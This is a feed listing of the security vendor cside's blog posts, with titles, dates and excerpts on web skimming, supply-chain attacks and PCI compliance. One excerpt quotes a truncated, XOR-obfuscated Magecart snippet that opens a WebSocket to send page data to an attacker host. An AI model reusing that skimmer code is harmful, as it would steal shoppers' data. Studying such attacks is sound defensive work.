Wijckmanshttps://cside.com/blog/vibe-coding-security-risks-ai-platformshttps://cside.com/blog/vibe-coding-security-risks-ai-platformsUnderstand the common vulnerabilities in code made with AI coding platforms like Lovable, Copilot, Cursor, + Replit. See how to fix them before you ship them.Tue, 30 Sep 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/chargebacks911-and-cside-partner-to-fight-chargeback-fraud-2https://cside.com/blog/chargebacks911-and-cside-partner-to-fight-chargeback-fraud-2We're excited to reveal our partnership with Chargebacks911. Merging CB911’s expertise with cside’s client-side intelligence helps merchants fight friendly fraud and win more chargeback disputes.Tue, 09 Sep 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/cside-aws-partner-networkhttps://cside.com/blog/cside-aws-partner-networkWorking alongside AWS helps us bring our solution to the cloud environment our customers already rely on. For us, this is a step towards making client-side security widely accessible.Tue, 09 Sep 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/qsa-guide-for-6-4-3-and-11-6-1https://cside.com/blog/qsa-guide-for-6-4-3-and-11-6-1We put together a shorthand checklist, red flags to look for, and the compliance differences between CSP, Crawlers, and Client-side scripts.Tue, 09 Sep 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/examining-etherhiding-and-blockchain-for-attackshttps://cside.com/blog/examining-etherhiding-and-blockchain-for-attacksIn March/April of 2025 a ClickFix variant was going around that used the Binance blockchain with smart contracts to control malware payloads that would surface from a hacked WordPress plugin.Tue, 02 Sep 2025 00:00:00 GMTAttacksBlogJack LaFondhttps://cside.com/blog/how-to-deobfuscate-third-party-javascript-codehttps://cside.com/blog/how-to-deobfuscate-third-party-javascript-codeFrom a security perspective, a third-party script with obfuscated code is a massive red flag. This guide explores methods to deobfuscate JavaScript and how to spot common attacks.Thu, 28 Aug 2025 00:00:00 GMTBlogJack LaFondhttps://cside.com/blog/how-to-comply-with-pci-6-4-3https://cside.com/blog/how-to-comply-with-pci-6-4-3A practical guide to PCI 6.4.3 for security teams in eCommerce, FinTech, and SaaS. Learn why CSP or Crawlers are not enough to protect your users.Tue, 19 Aug 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/cosmic-ray-bit-flips-and-the-hidden-risk-at-scalehttps://cside.com/blog/cosmic-ray-bit-flips-and-the-hidden-risk-at-scaleWhen a 1 in a million rare occurrence, turns out not to be so rare. How our atmosphere changes zero to ones and how it can impact security.Fri, 08 Aug 2025 00:00:00 GMTBlogJack LaFondhttps://cside.com/blog/client-side-attack-report-q2-2025https://cside.com/blog/client-side-attack-report-q2-2025cside’s research uncovered over 72,000 compromised websites, revealing how attackers are relying on JavaScript-based delivery mechanisms, third-party supply chain vulnerabilities, and deceptive browser based social engineering tactics such as fake browser updates.Wed, 30 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-pii-blind-spot-in-web-securityhttps://cside.com/blog/the-pii-blind-spot-in-web-securityBut PII moves through the frontend, where controls are weaker and visibility is often limited.Wed, 30 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/uk-internet-age-verification-system-explained-for-cyber-securityhttps://cside.com/blog/uk-internet-age-verification-system-explained-for-cyber-securityThe goal of the UK Internet Age Verification System is to protect children browsing on the internet. But these checks come with new cybersecurity risks and privacy concerns.Tue, 29 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/cside-at-pci-ssc-2025-north-america-community-meetinghttps://cside.com/blog/cside-at-pci-ssc-2025-north-america-community-meetingWe are in town for the PCI SSC 2025 North America Community Meeting, September 16th to 18th.Thu, 24 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-chrome-extensions-can-remove-security-headershttps://cside.com/blog/how-chrome-extensions-can-remove-security-headersMany browsers actively update extensions without specific approval or opt-in. This means that an extension today can behave wildly differently tomorrow, and you will not be made aware of it.Mon, 21 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/whats-the-leading-technology-to-prevent-credit-card-skimminghttps://cside.com/blog/whats-the-leading-technology-to-prevent-credit-card-skimmingVisa’s Spring 2025 Biannual Threats Report identifies digital skimming as one of the “most prolific and consistent threats” in the payments ecosystem.Mon, 21 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/cryptojacking-is-dead-long-live-cryptojackinghttps://cside.com/blog/cryptojacking-is-dead-long-live-cryptojackingModern crypto jacking has evolved into a silent, multi-stage attacks.Thu, 17 Jul 2025 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/magecart-targeting-east-asian-e-commerce-websites-on-opencarthttps://cside.com/blog/magecart-targeting-east-asian-e-commerce-websites-on-opencartWe’ve detected a magecart-style attack targeting the OpenCart CMS platformTue, 15 Jul 2025 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/how-traffic-hijacking-and-affiliate-fraud-can-harm-websites-and-usershttps://cside.com/blog/how-traffic-hijacking-and-affiliate-fraud-can-harm-websites-and-usersTraffic hijacking is when someone secretly changes where a website’s links go, sending visitors to other sites.Thu, 10 Jul 2025 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/c-side-at-blackhat-usa-2025https://cside.com/blog/c-side-at-blackhat-usa-2025cside is exhibiting at BlackHat USA 2025.Wed, 09 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/is-relying-on-indicators-of-compromise-secure-enoughhttps://cside.com/blog/is-relying-on-indicators-of-compromise-secure-enoughMost security programs today still rely heavily on Indicators of Compromise (IOCs). This approach fails to detect threats that evolve slowly, reuse infrastructure, or operate in narrow, high-value contexts like client-side web skimming.Thu, 03 Jul 2025 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/why-crawlers-cant-help-with-pci-compliance-alonehttps://cside.com/blog/why-crawlers-cant-help-with-pci-compliance-aloneCrawlers act like a user but are very clearly not a real human user. If a malicious script would get injected because of a user interaction, the crawler will not see the malicious script unless it makes that user interactionThu, 03 Jul 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/pci-compliance-4-0-1-a-practical-implementation-guide-webinarhttps://cside.com/blog/pci-compliance-4-0-1-a-practical-implementation-guide-webinarWe partnered up with VikingCloud, the largest global PCI compliance QSA and security firm on 2 webinars giving you the full context and info to implement PCI DS 4.0.1. With a special focus on requirements 6.4.3 & 11.6.1.Thu, 26 Jun 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/why-were-called-c-sidehttps://cside.com/blog/why-were-called-c-sideWe named ourselves after the part of the web that no one else was protecting: the client-side.Wed, 25 Jun 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/coinmarketcap-client-side-attack-a-comprehensive-analysishttps://cside.com/blog/coinmarketcap-client-side-attack-a-comprehensive-analysisOn June 20, 2025, CoinMarketCap (CMC) - a cornerstone of the cryptocurrency ecosystem, relied upon by millions for real-time crypto data - experienced a significant security incident.Mon, 23 Jun 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/weaponized-google-oauth-triggers-malicious-websockethttps://cside.com/blog/weaponized-google-oauth-triggers-malicious-websocketAn attacker is using ‘Google.com’ to deliver and execute their own code in a weaponized Google OAuth attack.Tue, 10 Jun 2025 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/ruthless-client-side-attacks-targeting-multiple-platforms-with-clickfixhttps://cside.com/blog/ruthless-client-side-attacks-targeting-multiple-platforms-with-clickfixIn this article, we break down a recent ClickFix variant that now targets macOS, Android, and iOS, using browser-based redirections, fake UI prompts, and even drive-by download techniques.Wed, 28 May 2025 00:00:00 GMTAttacksBlogHimanshu Anandhttps://cside.com/blog/chinese-adult-content-scam-targets-mobile-users-through-pwa-injectionhttps://cside.com/blog/chinese-adult-content-scam-targets-mobile-users-through-pwa-injectionWe’ve identified a fresh injection campaign abusing third-party JavaScript to redirect users.Tue, 20 May 2025 00:00:00 GMTAttacksBlogHimanshu Anandhttps://cside.com/blog/malicious-north-korean-actors-attempting-to-infiltrate-technology-companieshttps://cside.com/blog/malicious-north-korean-actors-attempting-to-infiltrate-technology-companiesCatching fraudulent job applicants.Thu, 01 May 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/c-side-client-side-attack-recap-q1-2025https://cside.com/blog/c-side-client-side-attack-recap-q1-2025cside’s research uncovered nearly 300,000 compromised websites in Q1 of 2025.Wed, 30 Apr 2025 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/vikingcloud-approves-c-sides-security-platform-for-pci-dss-v4-0-1-requirement-6-4-3-and-11-6-1https://cside.com/blog/vikingcloud-approves-c-sides-security-platform-for-pci-dss-v4-0-1-requirement-6-4-3-and-11-6-1cside has partnered with VikingCloud to perform a deep technical assessment of the security solutions we offer under the enterprise plan under the scope of PCI compliance. Offering full peace of mind that with a proper implementation of our products requirements 6.4.3 and 11.6.1 are met.Thu, 24 Apr 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/comply-with-pci-dss-6-4-3-and-11-6-1-for-freehttps://cside.com/blog/comply-with-pci-dss-6-4-3-and-11-6-1-for-freeThe short answer: Without an off the shelf solution, you'd have to build a DIY monitoring tool that would cos significantly more in wages than a prebuilt solution's vendor costs.Wed, 23 Apr 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/do-you-need-pci-ssf-or-pci-dss-heres-the-differencehttps://cside.com/blog/do-you-need-pci-ssf-or-pci-dss-heres-the-differencePCI SSF is for the software, and PCI DSS is for everything else. Let's dive in.Tue, 22 Apr 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/over-150k-websites-hit-by-full-page-hijack-linking-to-chinese-gambling-siteshttps://cside.com/blog/over-150k-websites-hit-by-full-page-hijack-linking-to-chinese-gambling-sitesWe estimate that approximately 150,000 websites have been impacted by this campaign. The script defines an array of keywords related to betting, gambling, and casino brands both in English and Chinese.Wed, 26 Mar 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/can-you-use-adyen-for-pci-dsshttps://cside.com/blog/can-you-use-adyen-for-pci-dssYes, BUT depending on which on the integration, your business is still responsible for ensuring compliance with the Payment Card Industry Data Security Standard (PCI DSS).Fri, 21 Mar 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/can-you-use-paypal-braintree-for-pci-dsshttps://cside.com/blog/can-you-use-paypal-braintree-for-pci-dssYes, BUT depending on which on the integration, your business is still responsible for ensuring compliance with the Payment Card Industry Data Security Standard (PCI DSS).Fri, 21 Mar 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/can-you-use-stripe-for-pci-dsshttps://cside.com/blog/can-you-use-stripe-for-pci-dssYes, BUT depending on which on the integration, your business is still responsible for ensuring compliance with the Payment Card Industry Data Security Standard (PCI DSS).Fri, 21 Mar 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/bsides-and-rsac-afterpartieshttps://cside.com/blog/bsides-and-rsac-afterpartiesWhen cside is exhibiting, the afterparties are in town! Organized by us, Socket, Arcjet and Incident! Find our booth at BSidesSF (follow the laser), and booth 2438 at RSAC. Register for the 30th of April Book a meeting Join us for the ultimate cybersecurity networking experience at the Rooftop of our investor Uncork Capital in San Francisco! Organized by cside, Socket, Arcjet, and Incident, these exclusive events bring together 250+ techies, cybersecurity professionals, and BSThu, 13 Mar 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-to-be-a-pci-dss-saq-a-companyhttps://cside.com/blog/how-to-be-a-pci-dss-saq-a-companyOne sentence sparks debate. Because sites load scripts dynamically, a script from any page can persist into checkout, potentially interfering with payments. Third-party scripts, even if unrelated or on pages loaded before the payment pages, can introduce vulnerabilities.Fri, 07 Mar 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/thousands-of-websites-hit-by-four-backdoors-in-3rd-party-javascript-attackhttps://cside.com/blog/thousands-of-websites-hit-by-four-backdoors-in-3rd-party-javascript-attackWhile analyzing threats targeting WordPress frameworks, we found an attack where a single 3rd party JavaScript file was used to inject four separate backdoors into 1,000 compromised websites using cdn.csyndication[.]com/.Tue, 04 Mar 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/bybit-attack-1-5b-stolen-through-malicious-javascripthttps://cside.com/blog/bybit-attack-1-5b-stolen-through-malicious-javascriptThe attackers injected malicious JavaScript into the website interface where Bybit’s employees normally approve transactions. This malicious code was hidden in such a way that everything looked normal on the screen—but behind the scenes, it changed important details.Thu, 27 Feb 2025 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/over-35-000-websites-targeted-in-full-page-hijack-linking-to-a-chinese-language-gambling-scamhttps://cside.com/blog/over-35-000-websites-targeted-in-full-page-hijack-linking-to-a-chinese-language-gambling-scamA new malware campaign has compromised 35,000+ websites, injecting a malicious script from the websites listed below. Once the script loads, it fully hijacks the user’s browser window—often redirecting them to pages promoting a Chinese-language gambling (or casino) platform.Thu, 20 Feb 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/c-side-is-now-soc2-complianthttps://cside.com/blog/c-side-is-now-soc2-compliantWe’re proud to announce our SOC2 type 2 audit has passed and we passed with the highest degree of approval.Wed, 05 Feb 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/demystifying-the-january-2025-updates-to-pci-dss-saq-ahttps://cside.com/blog/demystifying-the-january-2025-updates-to-pci-dss-saq-aA full detailed explanation, chart and guide to the changes regarding PCI DSS 4.0.1 - 6.4.3 and 11.6.1Sun, 02 Feb 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/10-000-wordpress-websites-found-delivering-macos-and-microsoft-malwarehttps://cside.com/blog/10-000-wordpress-websites-found-delivering-macos-and-microsoft-malwareWe identified over 10,000 WordPress loading showing fake Google browser update leading to malware downloads.Mon, 27 Jan 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/government-and-university-websites-targeted-in-scriptapi-dev-client-side-attackhttps://cside.com/blog/government-and-university-websites-targeted-in-scriptapi-dev-client-side-attackYesterday we discovered another client-side JavaScript attack targeting +500 websites, including governments and universities. The injected scripts create hidden links in the Document Object Model (DOM), pointing to external websites, a programming interface for web documents.Tue, 21 Jan 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/affiliate-tracking-and-its-cyber-security-riskshttps://cside.com/blog/affiliate-tracking-and-its-cyber-security-risksMalicious actors often exploit tracking pixels to inject harmful scripts on otherwise normal websites.Mon, 20 Jan 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-cost-of-false-positiveshttps://cside.com/blog/the-cost-of-false-positivesThis week, we identified an intriguing use case involving the WP3[.]XYZ attack (link to our blog post). It sparked interest across the community and led to better detection rates on platforms like VirusTotal (VirusTotal link). While most appreciated our efforts, others criticized us for not identifying the root cause or recommending services to clean up hacked websites. Despite this, we aim to make the community aware of potential attacks and promise to do even better in the future. When falsFri, 17 Jan 2025 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/over-5k-wordpress-sites-caught-in-wp3xyz-malware-attackhttps://cside.com/blog/over-5k-wordpress-sites-caught-in-wp3xyz-malware-attackWe’ve uncovered a widespread malware campaign targeting WordPress websites, affecting over 5,000 sites globally. The malicious domain: "https://wp3.xyz/plugin[.]php".Mon, 13 Jan 2025 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/why-csp-doesnt-workhttps://cside.com/blog/why-csp-doesnt-workContent Security Policy (CSP) is a security feature provided by web browsers that a website owner can use to define a set of rules that control which resources (e.g., scripts, styles, images) can be loaded and executed by the browser. We call this the client-side, which is at the very end of the web supply chain. When properly configured, it helps prevent a wide range of attacks. But those first three words make all the difference. It can help prevent: Cross-Site Scripting (XSS): By restrictiTue, 07 Jan 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/ad-marketplaces-security-and-compliance-riskshttps://cside.com/blog/ad-marketplaces-security-and-compliance-risksFor businesses monetizing through ad marketplace models, the less traditional 3rd-party advertising networks, analytics platforms, and marketing scripts are indispensable. They’re needed to drive revenue by boosting engagement and tracking user behavior.Mon, 23 Dec 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/a-new-progressive-web-app-danger-very-few-know-abouthttps://cside.com/blog/a-new-progressive-web-app-danger-very-few-know-aboutThe rise in adoption with PWAs comes an increase in client-side security risks. And the industry? It’s barely talking about it.Fri, 20 Dec 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/polyfill-more-than-just-a-redirect-attackhttps://cside.com/blog/polyfill-more-than-just-a-redirect-attackA redirect was only what was caught. With control of one third-party script on half a million sites, far worse was possible. Here is why it mattered.Fri, 06 Dec 2024 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/new-3rd-party-js-script-attack-found-artifyaucom-and-quantifymycomhttps://cside.com/blog/new-3rd-party-js-script-attack-found-artifyaucom-and-quantifymycomThis week, we deployed a specialized crawler for research purposes. Within just 24 hours, it successfully identified new Magecart attack patterns. Magecart is a sophisticated, financially motivated threat that injects malicious JavaScript to steal personal payment information. Here's a list of the biggest Magecart attacks thus far. Initial Detection: Obfuscated JavaScript on Artifyau[.]com Detected URL: https://artifyau[.]com/T1M0dVluVnBiR1J6YVhSbGNISnZMbU52YlE9PQ/jqwery.js. The URL mimics aMon, 04 Nov 2024 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/new-magecart-attack-code-revealedhttps://cside.com/blog/new-magecart-attack-code-revealedOn October 14th, we posted an article on how another Magento Magecart attack was taking place. Then we only noticed one script as the culprit. Today, we were able to find and analyze the attack in more detail. The attack decoded This was the injected code: <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.hWed, 23 Oct 2024 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/how-web-extensions-can-hurt-your-site-infirc-and-infirdhttps://cside.com/blog/how-web-extensions-can-hurt-your-site-infirc-and-infirdThe domain infirc[.]com and infird[.]com have caused quite the stir recently, and highlighted the dangers of infected or malicious web extenFri, 18 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-internet-archive-hack-how-javascript-fits-in-the-picturehttps://cside.com/blog/the-internet-archive-hack-how-javascript-fits-in-the-pictureThe Internet Archive, also known as The Wayback Machine, experienced a security breach yesterday. This was not the first time it had been taFri, 18 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-biggest-magecart-attacks-in-history-so-farhttps://cside.com/blog/the-biggest-magecart-attacks-in-history-so-farWhere the term “Magecart” comes from from Magecart attacks are a type of cyberattack where hackers inject malicious JavaScript code, often rThu, 17 Oct 2024 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/new-ttps-in-stealing-pii-and-financial-information-from-magento-websiteshttps://cside.com/blog/new-ttps-in-stealing-pii-and-financial-information-from-magento-websitesAt cside, we actively monitor client-side supply chain attacks, with a focus on the evolving tactics, techniques, and procedures (TTPs) used by threat actors. One of the most common attacks we've observed over the past few months is the targeting of eCommerce websites built on the Magento framework. In particular, we've been closely following the Cosmic Sting attack (CVE-2024-34102), which has been widely reported, including by Sansec (https://sansec.io/research/cosmicsting). Recent TTP ObserMon, 14 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/why-do-websites-need-3rd-party-scriptshttps://cside.com/blog/why-do-websites-need-3rd-party-scriptsWhen developing a website, you’ll often include libraries to help speed up the development process, and avoid reinventing the wheel. HoweverThu, 10 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/cside-joins-the-pci-security-standards-council-associate-participating-organizationhttps://cside.com/blog/cside-joins-the-pci-security-standards-council-associate-participating-organizationWe’re proud to announce that we've joined the Payment Card Industry Security Standards Council (PCI SSC) as an Associate Participating Organization. The PCI SSC leads a global, cross-industry effort to enhance payment security by establishing flexible, industry-driven data security standards. Through collaboration with other industry leaders, the Council’s mission is to protect payment data from emerging threats and meet the evolving needs of the payment ecosystem. As an Associate ParticipatinMon, 07 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/carlsberg-a-target-in-magento-cosmicsting-malware-attackhttps://cside.com/blog/carlsberg-a-target-in-magento-cosmicsting-malware-attackThe term “Magecart” refers to attacks on the Magento platform. Recently, another large campaign was found to target Magento sites again. Among these, Carlsberg was one of the compromised websites. The pattern of these attacks is almost always the same. A single line of JavaScript loads content from a remote website. In other words, a 3rd party script. That code is then heavily obfuscated to delay detection even more. In this case, the payment process was quietly changed. A fake payment methodFri, 04 Oct 2024 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/cside-joins-the-w3chttps://cside.com/blog/cside-joins-the-w3cWe’re incredibly proud to announce we have joined the W3C Web Application Security Working Group. The mission of the Web Application Security Working Group is to develop mechanisms and best practices to improve the security of web applications. Our whole team has been involved in cybersecurity for years. Through cside, we now aim to raise awareness and set higher standards for client-side security. By joining forces, we are one step closer to achieving both of our goals. We want to publicly tFri, 04 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/kuwait-ecommerce-site-is-being-used-to-facilitate-client-side-skimming-attackshttps://cside.com/blog/kuwait-ecommerce-site-is-being-used-to-facilitate-client-side-skimming-attacksA popular e-commerce site in Kuwait, running an outdated version of Magento (2.4), has been compromised by a malicious JavaScript injection,Thu, 03 Oct 2024 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/threat-feeds-fail-to-detect-attack-for-over-2-yearshttps://cside.com/blog/threat-feeds-fail-to-detect-attack-for-over-2-yearsOn this website, we can see it’s been active since August of 2022. We've notified this, and other websites of this attack.Wed, 02 Oct 2024 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/why-do-developers-obfuscate-javascripthttps://cside.com/blog/why-do-developers-obfuscate-javascriptAs a client-side security company protecting JavaScript, we see a lot of obfuscated scripts. When you use our tool, you can actually see the deobfuscated version of the scripts to see what it is doing. Deobfuscation has been around for a while, but why is code obfuscated in the first place? JavaScript obfuscation came around to protect the source code of web applications from being easily understood, copied, or exploited by unauthorized users. Obfuscation as a concept predates JavaScript and eTue, 01 Oct 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/buttercms-unreported-downtime-and-security-concernshttps://cside.com/blog/buttercms-unreported-downtime-and-security-concernsButterCMS is a popular tool used to manage content for blogs. Earlier this week, we noticed a potentially severe security incident which triMon, 23 Sep 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/cside-raises-a-6m-seed-roundhttps://cside.com/blog/cside-raises-a-6m-seed-roundWe’re incredibly proud to announce our seed round of $6m, just six months after raising our pre-seed of $1.7m. Led by Uncork Capital as the lead, with participation from Mantis and PrimeSet. We also welcome back Scribble VC and Roar Ventures who supported us in the pre-seed. Together with this news, we’ve opened up our free tier to all. You can now sign up and start using cside to monitor, secure, and optimize 3rd party scripts. We founded cside to put client-side security on the map. For tMon, 16 Sep 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/cisco-client-side-magecart-javascript-attackhttps://cside.com/blog/cisco-client-side-magecart-javascript-attackAnother day, another high-profile client-side JavaScript attack. This morning, we read that Cisco is the next victim of malicious code beingFri, 06 Sep 2024 00:00:00 GMTBlogHimanshu Anandhttps://cside.com/blog/cside-picked-for-techcrunch-disrupt-startup-battlefield-2024https://cside.com/blog/cside-picked-for-techcrunch-disrupt-startup-battlefield-2024We’re incredibly proud to announce that we were selected for TechCrunch Disrupt Startup Battlefield in 2024. This year’s Startup Battlefield participants span artificial intelligence (AI), software as a service (SaaS), fintech, security, sustainability, space exploration, and more. Out of thousands of startups, just 200 make the cut, and we are absolutely thrilled to be among this select group. We can not wait to share our product with the world, Oct. 28 - Wed, Oct. 30 at Moscone West in San FThu, 05 Sep 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-to-speed-up-javascripthttps://cside.com/blog/how-to-speed-up-javascriptConversion rates are correlated with site loading speeds. But e-commerce sites have a ton of JavaScript which slows things down... the solution is here.Mon, 02 Sep 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/what-are-digital-skimmershttps://cside.com/blog/what-are-digital-skimmersRecently, we read of a new significant cyberattack campaign that targeted hundreds of online stores, exploiting vulnerabilities in third-party scripts and plugins. This is a perfect example of a ‘digital skimmer’. Digital skimmers are snippets of code maliciously injected into legitimate websites. They target personal and credit card information. This problem is on the rise and is part of the reason cside was created. Our proxy is able to detect this malicious code and prevent it from affectiThu, 29 Aug 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/why-the-browsers-becomes-increasingly-more-dangeroushttps://cside.com/blog/why-the-browsers-becomes-increasingly-more-dangerousTechnologies like WebAssembly (WASM), WebGPU, and IndexedDB have transformed what browsers can achieve. This evolution has expanded the funcFri, 23 Aug 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-true-cost-of-a-cyber-attackhttps://cside.com/blog/the-true-cost-of-a-cyber-attackCalculating the true cost of a cyber attack is difficult. None are the same. Yet we report on this in as much detail as possible to accurately represent the full picture of when this happens to your business.Mon, 12 Aug 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/is-tuaw-a-scam-in-the-makinghttps://cside.com/blog/is-tuaw-a-scam-in-the-makingWhen we saw the new Fireship video yesterday, we were immediately reminded of the recent Polyfill attack. Our first article was picked up anFri, 02 Aug 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-copay-event-stream-attack-illustrates-dependency-riskshttps://cside.com/blog/the-copay-event-stream-attack-illustrates-dependency-risksThe JavaScript ecosystem experienced a significant shock with a sophisticated attack on Copay, a popular cryptocurrency wallet provider, in November 2018. Known as the event-stream attack, this incident highlighted the critical vulnerabilities associated with relying on third-party dependencies in software development. Copay is now known as Bitpay Wallet. Understanding the attack Event-stream, a popular npm package, was widely utilized by numerous projects for efficiently managing streamsMon, 29 Jul 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-segway-cyber-attack-explainedhttps://cside.com/blog/the-segway-cyber-attack-explainedIn January 2022, the Segway web store suffered a web supply chain attack - also often referred to as a Magecart attack. In these types of attacks, malicious JavaScript code is added that loads from the client-side, known as third-party scripts. Many common tools are third-party scripts. Things like analytics, captchas and more. But this avenue can also be used for malicious reasons, as was the case here. In this attack on Segway, their store is set up on Magento. The attackers targeted vulneraThu, 25 Jul 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/dont-deploy-scripts-site-widehttps://cside.com/blog/dont-deploy-scripts-site-wideThird-party scripts are often deployed site-wide, typically injected in the head tags in web frameworks like Next.js via the ’_document.js’ file. This widespread implementation, while convenient for developers and often recommended by onboarding guides, means these scripts run across the entire site. This is simpler to implement, but it also introduces security risks and performance issues that are often overlooked. The recent Kaiser Permanente data leak shows the dangers of having poorly managMon, 22 Jul 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/what-is-an-attack-vector-and-what-are-hidden-oneshttps://cside.com/blog/what-is-an-attack-vector-and-what-are-hidden-onesAn attack vector in cybersecurity is the way an attacker takes advantage of security weaknesses. Some are more obscure than others. One that’s been our focus is third-party JavaScript. Since these scripts are installed by the website owner yet executed in the visitors' browsers, they're in a unique position. If something malicious occurs within these scripts, neither party is aware. The visitor is affected, and the website owner becomes liable. We’ve seen this too many times, for example, theMon, 15 Jul 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/web-supply-chain-attack-through-trojanized-jquery-on-npm-github-and-cdnshttps://cside.com/blog/web-supply-chain-attack-through-trojanized-jquery-on-npm-github-and-cdnsAttacks have been found in trojanized jQuery on GitHub, npm and jsDelivr in a new web supply chain attack. Each package had a copy of jQueryTue, 09 Jul 2024 00:00:00 GMTBlogAttacksHimanshu Anandhttps://cside.com/blog/how-expired-domains-lead-to-cyber-attackshttps://cside.com/blog/how-expired-domains-lead-to-cyber-attacksHow Expired Domains Lead to Cybersecurity Attacks In 2018, British Airways was attacked through the exploitation of a third-party JavaScriptMon, 08 Jul 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/the-polyfill-attack-explainedhttps://cside.com/blog/the-polyfill-attack-explainedA tampered JavaScript file injected by the polyfill[.]io domain redirected a percentage of users to adult and betting websites based on their User-Agent. A Japanese X user “piyokango” was likely the first to report his attack on the 24th of June.Wed, 03 Jul 2024 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/what-is-the-browser-supply-chainhttps://cside.com/blog/what-is-the-browser-supply-chaincside is a cybersecurity product that lives in the browser supply chain space. We and other vendors operating here like to talk about that supply chain. But, what exactly do we mean by it? The browser supply chain is the combination of components and processes that come together to render web pages, execute scripts, and ensure smooth functionality. This supply chain includes everything from the initial request for a webpage to the final rendering of that page in a user's browser. As well as dynTue, 02 Jul 2024 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/more-than-100k-websites-targeted-in-web-supply-chain-attackhttps://cside.com/blog/more-than-100k-websites-targeted-in-web-supply-chain-attackThe cdn.polyfill[.]io domain is being used in a web supply chain attack. We were first to report the real scale: more than 490,000 affected websites.Tue, 25 Jun 2024 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/the-browsealoud-supply-chain-attack-a-case-study-in-cryptojackinghttps://cside.com/blog/the-browsealoud-supply-chain-attack-a-case-study-in-cryptojackingThis attack affected more than 4,000 websites, including government and educational 